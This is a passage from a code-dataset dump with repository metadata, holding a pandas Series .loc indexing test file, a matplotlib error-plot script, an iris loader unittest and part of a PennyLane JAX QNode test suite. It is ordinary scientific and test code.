"max_issues_repo_issues_event_min_datetime": "2021-12-01T17:05:15.000Z", "max_issues_repo_issues_event_max_datetime": "2021-12-01T17:05:15.000Z", "max_forks_repo_path": "ejer/Dia_9.py", "max_forks_repo_name": "zara-ms/python_class-2", "max_forks_repo_head_hexsha": "edd5a4b7a3b3f2759f63208bbf42d5f9e7acb45b", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 4, "max_forks_repo_forks_event_min_datetime": "2021-04-09T19:06:40.000Z", "max_forks_repo_forks_event_max_datetime": "2021-11-29T01:17:50.000Z", "avg_line_length": 36.6869565217, "max_line_length": 94, "alphanum_fraction": 0.6392510073, "include": true, "reason": "import numpy", "num_tokens": 1255, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46879062662624377, "lm_q2_score": 0.12085323407368521, "lm_q1q2_score": 0.05665486333121101}}
{"text": "import numpy as np\nimport pytest\n\nfrom pandas.compat import lrange\n\nimport pandas as pd\nfrom pandas import Series, Timestamp\nfrom pandas.util.testing import assert_series_equal\n\n\n@pytest.mark.parametrize(\"val,expected\", [\n    (2**63 - 1, 3),\n    (2**63, 4),\n])\ndef test_loc_uint64(val, expected):\n    # see gh-19399\n    s = Series({2**63 - 1: 3, 2**63: 4})\n    assert s.loc[val] == expected\n\n\ndef test_loc_getitem(test_data):\n    inds = test_data.series.index[[3, 4, 7]]\n    assert_series_equal(\n        test_data.series.loc[inds],\n        test_data.series.reindex(inds))\n    assert_series_equal(test_data.series.iloc[5::2], test_data.series[5::2])\n\n    # slice with indices\n    d1, d2 = test_data.ts.index[[5, 15]]\n    result = test_data.ts.loc[d1:d2]\n    expected = test_data.ts.truncate(d1, d2)\n    assert_series_equal(result, expected)\n\n    # boolean\n    mask = test_data.series > test_data.series.median()\n    assert_series_equal(test_data.series.loc[mask], test_data.series[mask])\n\n    # ask for index value\n    assert test_data.ts.loc[d1] == test_data.ts[d1]\n    assert test_data.ts.loc[d2] == test_data.ts[d2]\n\n\ndef test_loc_getitem_not_monotonic(test_data):\n    d1, d2 = test_data.ts.index[[5, 15]]\n\n    ts2 = test_data.ts[::2][[1, 2, 0]]\n\n    msg = r\"Timestamp\\('2000-01-10 00:00:00'\\)\"\n    with pytest.raises(KeyError, match=msg):\n        ts2.loc[d1:d2]\n    with pytest.raises(KeyError, match=msg):\n        ts2.loc[d1:d2] = 0\n\n\ndef test_loc_getitem_setitem_integer_slice_keyerrors():\n    s = Series(np.random.randn(10), index=lrange(0, 20, 2))\n\n    # this is OK\n    cp = s.copy()\n    cp.iloc[4:10] = 0\n    assert (cp.iloc[4:10] == 0).all()\n\n    # so is this\n    cp = s.copy()\n    cp.iloc[3:11] = 0\n    assert (cp.iloc[3:11] == 0).values.all()\n\n    result = s.iloc[2:6]\n    result2 = s.loc[3:11]\n    expected = s.reindex([4, 6, 8, 10])\n\n    assert_series_equal(result, expected)\n    assert_series_equal(result2, expected)\n\n    # non-monotonic, raise KeyError\n    s2 = s.iloc[lrange(5) + lrange(5, 10)[::-1]]\n    with pytest.raises(KeyError, match=r\"^3L?$\"):\n        s2.loc[3:11]\n    with pytest.raises(KeyError, match=r\"^3L?$\"):\n        s2.loc[3:11] = 0\n\n\ndef test_loc_getitem_iterator(test_data):\n    idx = iter(test_data.series.index[:10])\n    result = test_data.series.loc[idx]\n    assert_series_equal(result, test_data.series[:10])\n\n\ndef test_loc_setitem_boolean(test_data):\n    mask = test_data.series > test_data.series.median()\n\n    result = test_data.series.copy()\n    result.loc[mask] = 0\n    expected = test_data.series\n    expected[mask] = 0\n    assert_series_equal(result, expected)\n\n\ndef test_loc_setitem_corner(test_data):\n    inds = list(test_data.series.index[[5, 8, 12]])\n    test_data.series.loc[inds] = 5\n    msg = r\"\\['foo'\\] not in index\"\n    with pytest.raises(KeyError, match=msg):\n        test_data.series.loc[inds + ['foo']] = 5\n\n\ndef test_basic_setitem_with_labels(test_data):\n    indices = test_data.ts.index[[5, 10, 15]]\n\n    cp = test_data.ts.copy()\n    exp = test_data.ts.copy()\n    cp[indices] = 0\n    exp.loc[indices] = 0\n    assert_series_equal(cp, exp)\n\n    cp = test_data.ts.copy()\n    exp = test_data.ts.copy()\n    cp[indices[0]:indices[2]] = 0\n    exp.loc[indices[0]:indices[2]] = 0\n    assert_series_equal(cp, exp)\n\n    # integer indexes, be careful\n    s = Series(np.random.randn(10), index=lrange(0, 20, 2))\n    inds = [0, 4, 6]\n    arr_inds = np.array([0, 4, 6])\n\n    cp = s.copy()\n    exp = s.copy()\n    s[inds] = 0\n    s.loc[inds] = 0\n    assert_series_equal(cp, exp)\n\n    cp = s.copy()\n    exp = s.copy()\n    s[arr_inds] = 0\n    s.loc[arr_inds] = 0\n    assert_series_equal(cp, exp)\n\n    inds_notfound = [0, 4, 5, 6]\n    arr_inds_notfound = np.array([0, 4, 5, 6])\n    msg = r\"\\[5\\] not contained in the index\"\n    with pytest.raises(ValueError, match=msg):\n        s[inds_notfound] = 0\n    with pytest.raises(Exception, match=msg):\n        s[arr_inds_notfound] = 0\n\n    # GH12089\n    # with tz for values\n    s = Series(pd.date_range(\"2011-01-01\", periods=3, tz=\"US/Eastern\"),\n               index=['a', 'b', 'c'])\n    s2 = s.copy()\n    expected = Timestamp('2011-01-03', tz='US/Eastern')\n    s2.loc['a'] = expected\n    result = s2.loc['a']\n    assert result == expected\n\n    s2 = s.copy()\n    s2.iloc[0] = expected\n    result = s2.iloc[0]\n    assert result == expected\n\n    s2 = s.copy()\n    s2['a'] = expected\n    result = s2['a']\n    assert result == expected\n", "meta": {"hexsha": "07d477c31d43711c3c90e1971bce4775d5fab208", "size": 4416, "ext": "py", "lang": "Python", "max_stars_repo_path": "pandas/tests/series/indexing/test_loc.py", "max_stars_repo_name": "developing-coder/pandas", "max_stars_repo_head_hexsha": "9feb3ad92cc0397a04b665803a49299ee7aa1037", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2019-05-04T03:42:25.000Z", "max_stars_repo_stars_event_max_datetime": "2019-05-04T03:42:25.000Z", "max_issues_repo_path": "pandas/tests/series/indexing/test_loc.py", "max_issues_repo_name": "developing-coder/pandas", "max_issues_repo_head_hexsha": "9feb3ad92cc0397a04b665803a49299ee7aa1037", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "pandas/tests/series/indexing/test_loc.py", "max_forks_repo_name": "developing-coder/pandas", "max_forks_repo_head_hexsha": "9feb3ad92cc0397a04b665803a49299ee7aa1037", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 26.6024096386, "max_line_length": 76, "alphanum_fraction": 0.6261322464, "include": true, "reason": "import numpy", "num_tokens": 1369, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46879064146934857, "lm_q2_score": 0.12085322932404165, "lm_q1q2_score": 0.05665486289845977}}
{"text": "import numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom sys import argv\n\ndef main():\n    \n    input_file = str(argv[1])\n    output_file = str(argv[2])\n    \n    data = pd.read_csv(input_file, sep=',', header = None)\n\n    num_cells = data[0].tolist()\n    l2_errors = data[1].tolist()\n\n    fig = plt.figure()\n    plt.plot(num_cells, l2_errors)\n    plt.grid()\n    plt.xlabel(\"Number of Cells\")\n    plt.xscale('log')\n    plt.ylabel(\"L2 Error\")\n    plt.yscale('log')\n    plt.tight_layout()\n\n    plt.savefig(output_file)\n    print('Generated ' + output_file)\n\nif __name__ == '__main__':\n    main()\n", "meta": {"hexsha": "4dc090e6703a936e9e8bf0708842e2fc347a2c2b", "size": 611, "ext": "py", "lang": "Python", "max_stars_repo_path": "developers/AdvectionFV2D/mastersolution/advectionfv2d.py", "max_stars_repo_name": "hanyao8/NPDECODES", "max_stars_repo_head_hexsha": "b8e317665e80fd7a0025f71bb598e093b4b275ce", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "developers/AdvectionFV2D/mastersolution/advectionfv2d.py", "max_issues_repo_name": "hanyao8/NPDECODES", "max_issues_repo_head_hexsha": "b8e317665e80fd7a0025f71bb598e093b4b275ce", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "developers/AdvectionFV2D/mastersolution/advectionfv2d.py", "max_forks_repo_name": "hanyao8/NPDECODES", "max_forks_repo_head_hexsha": "b8e317665e80fd7a0025f71bb598e093b4b275ce", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 20.3666666667, "max_line_length": 58, "alphanum_fraction": 0.6301145663, "include": true, "reason": "import numpy", "num_tokens": 162, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4687906266262437, "lm_q2_score": 0.12085323090725615, "lm_q1q2_score": 0.056654861846818734}}
{"text": "# coding: utf-8\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport unittest\nimport numpy as np\nfrom main import load_iris\n\n\nclass TestMain(unittest.TestCase):\n    def test_load_iris(self):\n        X_trn, y_trn, X_tst, y_tst = load_iris()\n        self.assertTrue(len(np.unique(y_trn)) == 2)\n        self.assertTrue(len(np.unique(y_tst)) == 2)\n        self.assertEqual(len(X_trn), len(y_trn))\n        self.assertEqual(len(X_tst), len(y_tst))\n\n", "meta": {"hexsha": "75ac4caba42f55991affd593d5cc17b23e8fe331", "size": 508, "ext": "py", "lang": "Python", "max_stars_repo_path": "test_main.py", "max_stars_repo_name": "nicojahn/EPFD", "max_stars_repo_head_hexsha": "446f35103d29e3dd69d8151c54de95bc8aed7ec6", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 5, "max_stars_repo_stars_event_min_datetime": "2020-09-18T13:21:18.000Z", "max_stars_repo_stars_event_max_datetime": "2021-05-13T04:43:21.000Z", "max_issues_repo_path": "test_main.py", "max_issues_repo_name": "nicojahn/EPFD", "max_issues_repo_head_hexsha": "446f35103d29e3dd69d8151c54de95bc8aed7ec6", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "test_main.py", "max_forks_repo_name": "nicojahn/EPFD", "max_forks_repo_head_hexsha": "446f35103d29e3dd69d8151c54de95bc8aed7ec6", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2021-05-03T18:45:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-11-16T02:30:43.000Z", "avg_line_length": 25.4, "max_line_length": 51, "alphanum_fraction": 0.7125984252, "include": true, "reason": "import numpy", "num_tokens": 134, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4882833952958346, "lm_q2_score": 0.11596071519881658, "lm_q1q2_score": 0.05662169173821145}}
{"text": "# Copyright 2018-2021 Xanadu Quantum Technologies Inc.\r\n\r\n# Licensed under the Apache License, Version 2.0 (the \"License\");\r\n# you may not use this file except in compliance with the License.\r\n# You may obtain a copy of the License at\r\n\r\n#     http://www.apache.org/licenses/LICENSE-2.0\r\n\r\n# Unless required by applicable law or agreed to in writing, software\r\n# distributed under the License is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n# See the License for the specific language governing permissions and\r\n# limitations under the License.\r\n\"\"\"Integration tests for using the jax interface and its jittable variant with\r\na QNode\"\"\"\r\nimport pytest\r\nfrom pennylane import numpy as np\r\n\r\nimport pennylane as qml\r\nfrom pennylane import qnode, QNode\r\nfrom pennylane.tape import QuantumTape\r\nfrom pennylane.interfaces import InterfaceUnsupportedError\r\n\r\nqubit_device_and_diff_method = [\r\n    [\"default.qubit\", \"backprop\", \"forward\", \"jax\"],\r\n    # Python\r\n    [\"default.qubit\", \"finite-diff\", \"backward\", \"jax-python\"],\r\n    [\"default.qubit\", \"parameter-shift\", \"backward\", \"jax-python\"],\r\n    [\"default.qubit\", \"adjoint\", \"forward\", \"jax-python\"],\r\n    [\"default.qubit\", \"adjoint\", \"backward\", \"jax-python\"],\r\n    # Jit\r\n    [\"default.qubit\", \"finite-diff\", \"backward\", \"jax-jit\"],\r\n    [\"default.qubit\", \"parameter-shift\", \"backward\", \"jax-jit\"],\r\n    [\"default.qubit\", \"adjoint\", \"forward\", \"jax-jit\"],\r\n    [\"default.qubit\", \"adjoint\", \"backward\", \"jax-jit\"],\r\n]\r\n\r\npytestmark = pytest.mark.jax\r\n\r\njax = pytest.importorskip(\"jax\")\r\njnp = jax.numpy\r\n\r\n\r\nfrom jax.config import config\r\n\r\nconfig.update(\"jax_enable_x64\", True)\r\n\r\n\r\n@pytest.mark.parametrize(\"dev_name,diff_method,mode,interface\", qubit_device_and_diff_method)\r\nclass TestQNode:\r\n    \"\"\"Test that using the QNode with JAX integrates with the PennyLane\r\n    stack\"\"\"\r\n\r\n    def test_execution_with_interface(self, dev_name, diff_method, mode, interface):\r\n        \"\"\"Test execution works with the interface\"\"\"\r\n        if diff_method == \"backprop\":\r\n            pytest.skip(\"Test does not support backprop\")\r\n\r\n        dev = qml.device(dev_name, wires=1)\r\n\r\n        @qnode(dev, interface=interface, diff_method=diff_method)\r\n        def circuit(a):\r\n            qml.RY(a, wires=0)\r\n            qml.RX(0.2, wires=0)\r\n            return qml.expval(qml.PauliZ(0))\r\n\r\n        a = np.array(0.1, requires_grad=True)\r\n        circuit(a)\r\n\r\n        assert circuit.interface == interface\r\n\r\n        # the tape is able to deduce trainable parameters\r\n        assert circuit.qtape.trainable_params == [0]\r\n\r\n        # gradients should work\r\n        grad = jax.grad(circuit)(a)\r\n        assert isinstance(grad, jnp.DeviceArray)\r\n        assert grad.shape == tuple()\r\n\r\n    def test_changing_trainability(self, dev_name, diff_method, mode, interface, mocker, tol):\r\n        \"\"\"Test changing the trainability of parameters changes the\r\n        number of differentiation requests made\"\"\"\r\n        if diff_method != \"parameter-shift\":\r\n            pytest.skip(\"Test only supports parameter-shift\")\r\n\r\n        a = jnp.array(0.1)\r\n        b = jnp.array(0.2)\r\n\r\n        dev = qml.device(\"default.qubit\", wires=2)\r\n\r\n        @qnode(dev, interface=interface, diff_method=\"parameter-shift\")\r\n        def circuit(a, b):\r\n            qml.RY(a, wires=0)\r\n            qml.RX(b, wires=1)\r\n            qml.CNOT(wires=[0, 1])\r\n            return qml.expval(qml.Hamiltonian([1, 1], [qml.PauliZ(0), qml.PauliY(1)]))\r\n\r\n        grad_fn = jax.grad(circuit, argnums=[0, 1])\r\n        spy = mocker.spy(qml.gradients.param_shift, \"transform_fn\")\r\n        res = grad_fn(a, b)\r\n\r\n        # the tape has reported both arguments as trainable\r\n        assert circuit.qtape.trainable_params == [0, 1]\r\n\r\n        expected = [-np.sin(a) + np.sin(a) * np.sin(b), -np.cos(a) * np.cos(b)]\r\n        assert np.allclose(res, expected, atol=tol, rtol=0)\r\n\r\n        # The parameter-shift rule has been called for each argument\r\n        assert len(spy.spy_return[0]) == 4\r\n\r\n        # make the second QNode argument a constant\r\n        grad_fn = jax.grad(circuit, argnums=0)\r\n        res = grad_fn(a, b)\r\n\r\n        # the tape has reported only the first argument as trainable\r\n        assert circuit.qtape.trainable_params == [0]\r\n\r\n        expected = [-np.sin(a) + np.sin(a) * np.sin(b)]\r\n        assert np.allclose(res, expected, atol=tol, rtol=0)\r\n\r\n        # The parameter-shift rule has been called only once\r\n        assert len(spy.spy_return[0]) == 2\r\n\r\n        # trainability also updates on evaluation\r\n        a = np.array(0.54, requires_grad=False)\r\n        b = np.array(0.8, requires_grad=True)\r\n        circuit(a, b)\r\n        assert circuit.qtape.trainable_params == [1]\r\n\r\n    def test_classical_processing(self, dev_name, diff_method, mode, interface, tol):\r\n        \"\"\"Test classical processing within the quantum tape\"\"\"\r\n        a = jnp.array(0.1)\r\n        b = jnp.array(0.2)\r\n        c = jnp.array(0.3)\r\n\r\n        dev = qml.device(dev_name, wires=1)\r\n\r\n        @qnode(dev, diff_method=diff_method, interface=interface, mode=mode)\r\n        def circuit(a, b, c):\r\n            qml.RY(a * c, wires=0)\r\n            qml.RZ(b, wires=0)\r\n            qml.RX(c + c**2 + jnp.sin(a), wires=0)\r\n            return qml.expval(qml.PauliZ(0))\r\n\r\n        res = jax.grad(circuit, argnums=[0, 2])(a, b, c)\r\n\r\n        if diff_method == \"finite-diff\":\r\n            assert circuit.qtape.trainable_params == [0, 2]\r\n\r\n        assert len(res) == 2\r\n\r\n    def test_matrix_parameter(self, dev_name, diff_method, mode, interface, tol):\r\n        \"\"\"Test that the jax interface works correctly\r\n        with a matrix parameter\"\"\"\r\n        U = jnp.array([[0, 1], [1, 0]])\r\n        a = jnp.array(0.1)\r\n\r\n        dev = qml.device(dev_name, wires=2)\r\n\r\n        @qnode(dev, diff_method=diff_method, interface=interface, mode=mode)\r\n        def circuit(U, a):\r\n            qml.QubitUnitary(U, wires=0)\r\n            qml.RY(a, wires=0)\r\n            return qml.expval(qml.PauliZ(0))\r\n\r\n        res = jax.grad(circuit, argnums=1)(U, a)\r\n        assert np.allclose(res, np.sin(a), atol=tol, rtol=0)\r\n\r\n        if diff_method == \"finite-diff\":\r\n            assert circuit.qtape.trainable_params == [1]\r\n\r\n    def test_differentiable_expand(self, dev_name, diff_method, mode, interface, tol):\r\n        \"\"\"Test that operation and nested tape expansion\r\n        is differentiable\"\"\"\r\n\r\n        class U3(qml.U3):\r\n            def expand(self):\r\n                theta, phi, lam = self.data\r\n                wires = self.wires\r\n\r\n                with QuantumTape() as tape:\r\n                    qml.Rot(lam, theta, -lam, wires=wires)\r\n                    qml.PhaseShift(phi + lam, wires=wires)\r\n\r\n                return tape\r\n\r\n        dev = qml.device(dev_name, wires=1)\r\n        a = jnp.array(0.1)\r\n        p = jnp.array([0.1, 0.2, 0.3])\r\n\r\n        @qnode(dev, diff_method=diff_method, interface=interface, mode=mode)\r\n        def circuit(a, p):\r\n            qml.RX(a, wires=0)\r\n            U3(p[0], p[1], p[2], wires=0)\r\n            return qml.expval(qml.PauliX(0))\r\n\r\n        res = circuit(a, p)\r\n        expected = np.cos(a) * np.cos(p[1]) * np.sin(p[0]) + np.sin(a) * (\r\n            np.cos(p[2]) * np.sin(p[1]) + np.cos(p[0]) * np.cos(p[1]) * np.sin(p[2])\r\n        )\r\n        assert np.allclose(res, expected, atol=tol, rtol=0)\r\n\r\n        res = jax.grad(circuit, argnums=1)(a, p)\r\n        expected = np.array(\r\n            [\r\n                np.cos(p[1]) * (np.cos(a) * np.cos(p[0]) - np.sin(a) * np.sin(p[0]) * np.sin(p[2])),\r\n                np.cos(p[1]) * np.cos(p[2]) * np.sin(a)\r\n                - np.sin(p[1])\r\n                * (np.cos(a) * np.sin(p[0]) + np.cos(p[0]) * np.sin(a) * np.sin(p[2])),\r\n                np.sin(a)\r\n                * (np.cos(p[0]) * np.cos(p[1]) * np.cos(p[2]) - np.sin(p[1]) * np.sin(p[2])),\r\n            ]\r\n        )\r\n        assert np.allclose(res, expected, atol=tol, rtol=0)\r\n\r\n\r\nvv_qubit_device_and_diff_method = [\r\n    [\"default.qubit\", \"backprop\", \"forward\", \"jax\"],\r\n    # Python\r\n    [\"default.qubit\", \"finite-diff\", \"backward\", \"jax-python\"],\r\n    [\"default.qubit\", \"parameter-shift\", \"backward\", \"jax-python\"],\r\n    [\"default.qubit\", \"adjoint\", \"forward\", \"jax-python\"],\r\n    [\"default.qubit\", \"adjoint\", \"backward\", \"jax-python\"],\r\n]\r\n\r\n\r\n@pytest.mark.parametrize(\"dev_name,diff_method,mode,interface\", vv_qubit_device_and_diff_method)\r\nclass TestVectorValuedQNode:\r\n    \"\"\"Test that using vector-valued QNodes with JAX integrate with the\r\n    PennyLane stack\"\"\"\r\n\r\n    def test_jacobian(self, dev_name, diff_method, mode, interface, mocker, tol):\r\n        \"\"\"Test jacobian calculation\"\"\"\r\n        if diff_method != \"backprop\" and mode == \"forward\":\r\n            pytest.skip(\r\n                \"Computing the jacobian of vector-valued tapes is not supported currently in forward mode.\"\r\n            )\r\n\r\n        if diff_method == \"parameter-shift\":\r\n            spy = mocker.spy(qml.gradients.param_shift, \"transform_fn\")\r\n        elif diff_method == \"finite-diff\":\r\n            spy = mocker.spy(qml.gradients.finite_diff, \"transform_fn\")\r\n\r\n        a = np.array(0.1, requires_grad=True)\r\n        b = np.array(0.2, requires_grad=True)\r\n\r\n        dev = qml.device(dev_name, wires=2)\r\n\r\n        @qnode(dev, diff_method=diff_method, interface=interface, mode=mode)\r\n        def circuit(a, b):\r\n            qml.RY(a, wires=0)\r\n            qml.RX(b, wires=1)\r\n            qml.CNOT(wires=[0, 1])\r\n            return [qml.expval(qml.PauliZ(0)), qml.expval(qml.PauliY(1))]\r\n\r\n        res = circuit(a, b)\r\n\r\n        assert circuit.qtape.trainable_params == [0, 1]\r\n        assert res.shape == (2,)\r\n\r\n        expected = [np.cos(a), -np.cos(a) * np.sin(b)]\r\n        assert np.allclose(res, expected, atol=tol, rtol=0)\r\n\r\n        res = jax.jacobian(circuit, argnums=[0, 1])(a, b)\r\n        expected = np.array([[-np.sin(a), 0], [np.sin(a) * np.sin(b), -np.cos(a) * np.cos(b)]]).T\r\n        assert np.allclose(res, expected, atol=tol, rtol=0)\r\n\r\n        if diff_method in (\"parameter-shift\", \"finite-diff\"):\r\n            spy.assert_called()\r\n\r\n    def test_jacobian_forward_mode_raises(\r\n        self, dev_name, diff_method, mode, interface, mocker, tol\r\n    ):\r\n        \"\"\"Test jacobian calculation raises an error in forward mode for\r\n        adjoint differentiation.\"\"\"\r\n        if diff_method != \"adjoint\" or mode != \"forward\":\r\n            pytest.skip(\"Test only applicable for forward mode adjoint differentiation.\")\r\n\r\n        a = np.array(0.1, requires_grad=True)\r\n        b = np.array(0.2, requires_grad=True)\r\n\r\n        dev = qml.device(dev_name, wires=2)\r\n\r\n        @qnode(dev, interface=interface, diff_method=diff_method, mode=mode)\r\n        def circuit(a, b):\r\n            qml.RY(a, wires=0)\r\n            qml.RX(b, wires=1)\r\n            qml.CNOT(wires=[0, 1])\r\n            return [qml.expval(qml.PauliZ(0)), qml.expval(qml.PauliY(1))]\r\n\r\n        res = circuit(a, b)\r\n\r\n        assert circuit.qtape.trainable_params == [0, 1]\r\n        assert res.shape == (2,)\r\n\r\n        expected = [np.cos(a), -np.cos(a) * np.sin(b)]\r\n        assert np.allclose(res, expected, atol=tol, rtol=0)\r\n\r\n        with pytest.raises(InterfaceUnsupportedError):\r\n            jax.jacobian(circuit, argnums=[0, 1])(a, b)\r\n\r\n    def test_jacobian_no_evaluate(self, dev_name, diff_method, mode, interface, mocker, tol):\r\n        \"\"\"Test jacobian calculation when no prior circuit evaluation has been performed\"\"\"\r\n        if mode == \"forward\":\r\n            pytest.skip(\r\n                \"Computing the jacobian of vector-valued tapes is not supported currently in forward mode.\"\r\n            )\r\n\r\n        if diff_method == \"parameter-shift\":\r\n            spy = mocker.spy(qml.gradients.param_shift, \"transform_fn\")\r\n        elif diff_method == \"finite-diff\":\r\n            spy = mocker.spy(qml.gradients.finite_diff, \"transform_fn\")\r\n\r\n        a = np.array(0.1, requires_grad=True)\r\n        b = np.array(0.2, requires_grad=True)\r\n\r\n        dev = qml.device(dev_name, wires=2)\r\n\r\n        @qnode(dev, diff_method=diff_method, interface=interface, mode=mode)\r\n        def circuit(a, b):\r\n            qml.RY(a, wires=0)\r\n            qml.RX(b, wires=1)\r\n            qml.CNOT(wires=[0, 1])\r\n            return [qml.expval(qml.PauliZ(0)), qml.expval(qml.PauliY(1))]\r\n\r\n        jac_fn = jax.jacobian(circuit, argnums=[0, 1])\r\n        res = jac_fn(a, b)\r\n        expected = np.array([[-np.sin(a), 0], [np.sin(a) * np.sin(b), -np.cos(a) * np.cos(b)]]).T\r\n        assert np.allclose(res, expected, atol=tol, rtol=0)\r\n\r\n        if diff_method in (\"parameter-shift\", \"finite-diff\"):\r\n            spy.assert_called()\r\n\r\n        # call the Jacobian with new parameters\r\n        a = np.array(0.6, requires_grad=True)\r\n        b = np.array(0.832, requires_grad=True)\r\n\r\n        res = jac_fn(a, b)\r\n        expected = np.array([[-np.sin(a), 0], [np.sin(a) * np.sin(b), -np.cos(a) * np.cos(b)]]).T\r\n        assert np.allclose(res, expected, atol=tol, rtol=0)\r\n\r\n    def test_jacobian_options(self, dev_name, diff_method, mode, interface, mocker, tol):\r\n        \"\"\"Test setting jacobian options\"\"\"\r\n        if diff_method != \"finite-diff\":\r\n            pytest.skip(\"Test only applies to finite diff.\")\r\n\r\n        spy = mocker.spy(qml.gradients.finite_diff, \"transform_fn\")\r\n\r\n        a = np.array([0.1, 0.2], requires_grad=True)\r\n\r\n        dev = qml.device(\"default.qubit\", wires=1)\r\n\r\n        @qnode(dev, interface=interface, diff_method=\"finite-diff\", h=1e-8, approx_order=2)\r\n        def circuit(a):\r\n            qml.RY(a[0], wires=0)\r\n            qml.RX(a[1], wires=0)\r\n            return qml.expval(qml.PauliZ(0))\r\n\r\n        jax.jacobian(circuit)(a)\r\n\r\n        for args in spy.call_args_list:\r\n            assert args[1][\"approx_order\"] == 2\r\n            assert args[1][\"h\"] == 1e-8\r\n\r\n\r\n@pytest.mark.parametrize(\"interface\", [\"jax-jit\", \"jax-python\"])\r\nclass TestShotsIntegration:\r\n    \"\"\"Test that the QNode correctly changes shot value, and\r\n    remains differentiable.\"\"\"\r\n\r\n    def test_diff_method_None(self, interface):\r\n        \"\"\"Test jax device works with diff_method=None.\"\"\"\r\n        dev = qml.device(\"default.qubit.jax\", wires=1, shots=10)\r\n\r\n        @jax.jit\r\n        @qml.qnode(dev, diff_method=None, interface=interface)\r\n        def circuit(x):\r\n            qml.RX(x, wires=0)\r\n            return qml.expval(qml.PauliZ(0))\r\n\r\n        assert jnp.allclose(circuit(jnp.array(0.0)), 1)\r\n\r\n    def test_changing_shots(self, interface, mocker, tol):\r\n        \"\"\"Test that changing shots works on execution\"\"\"\r\n        dev = qml.device(\"default.qubit\", wires=2, shots=None)\r\n        a, b = jnp.array([0.543, -0.654])\r\n\r\n        @qnode(dev, diff_method=qml.gradients.param_shift, interface=interface)\r\n        def circuit(a, b):\r\n            qml.RY(a, wires=0)\r\n            qml.RX(b, wires=1)\r\n            qml.CNOT(wires=[0, 1])\r\n            return qml.expval(qml.PauliY(1))\r\n\r\n        spy = mocker.spy(dev, \"sample\")\r\n\r\n        # execute with device default shots (None)\r\n        res = circuit(a, b)\r\n        assert np.allclose(res, -np.cos(a) * np.sin(b), atol=tol, rtol=0)\r\n        spy.assert_not_called()\r\n\r\n        # execute with shots=100\r\n        res = circuit(a, b, shots=100)\r\n        spy.assert_called()\r\n        assert spy.spy_return.shape == (100,)\r\n\r\n        # device state has been unaffected\r\n        assert dev.shots is None\r\n        spy = mocker.spy(dev, \"sample\")\r\n        res = circuit(a, b)\r\n        assert np.allclose(res, -np.cos(a) * np.sin(b), atol=tol, rtol=0)\r\n        spy.assert_not_called()\r\n\r\n    def test_gradient_integration(self, interface, tol, mocker):\r\n        \"\"\"Test that temporarily setting the shots works\r\n        for gradient computations\"\"\"\r\n        dev = qml.device(\"default.qubit\", wires=2, shots=100)\r\n        a, b = jnp.array([0.543, -0.654])\r\n\r\n        spy = mocker.spy(dev, \"batch_execute\")\r\n\r\n        @qnode(dev, diff_method=qml.gradients.param_shift, interface=interface)\r\n        def cost_fn(a, b):\r\n            qml.RY(a, wires=0)\r\n            qml.RX(b, wires=1)\r\n            qml.CNOT(wires=[0, 1])\r\n            return qml.expval(qml.PauliY(1))\r\n\r\n        res = jax.grad(cost_fn, argnums=[0, 1])(a, b, shots=30000)\r\n        assert dev.shots == 100\r\n\r\n        expected = [np.sin(a) * np.sin(b), -np.cos(a) * np.cos(b)]\r\n        assert np.allclose(res, expected, atol=0.1, rtol=0)\r\n        assert all(not isinstance(p, jnp.ndarray) for p in spy.call_args[0][0][0].get_parameters())\r\n\r\n    def test_update_diff_method(self, mocker, interface, tol):\r\n        \"\"\"Test that temporarily setting the shots updates the diff method\"\"\"\r\n        dev = qml.device(\"default.qubit\", wires=2, shots=100)\r\n        a, b = jnp.array([0.543, -0.654])\r\n\r\n        spy = mocker.spy(qml, \"execute\")\r\n\r\n        # We're choosing interface=\"jax\" such that backprop can be used in the\r\n        # test later\r\n        @qnode(dev, interface=\"jax\")\r\n        def cost_fn(a, b):\r\n            qml.RY(a, wires=0)\r\n            qml.RX(b, wires=1)\r\n            qml.CNOT(wires=[0, 1])\r\n            return qml.expval(qml.PauliY(1))\r\n\r\n        # since we are using finite shots, parameter-shift will\r\n        # be chosen\r\n        assert cost_fn.gradient_fn is qml.gradients.param_shift\r\n\r\n        cost_fn(a, b)\r\n        assert spy.call_args[1][\"gradient_fn\"] is qml.gradients.param_shift\r\n\r\n        # if we set the shots to None, backprop can now be used\r\n        cost_fn(a, b, shots=None)\r\n        assert spy.call_args[1][\"gradient_fn\"] == \"backprop\"\r\n\r\n        # original QNode settings are unaffected\r\n        assert cost_fn.gradient_fn is qml.gradients.param_shift\r\n        cost_fn(a, b)\r\n        assert spy.call_args[1][\"gradient_fn\"] is 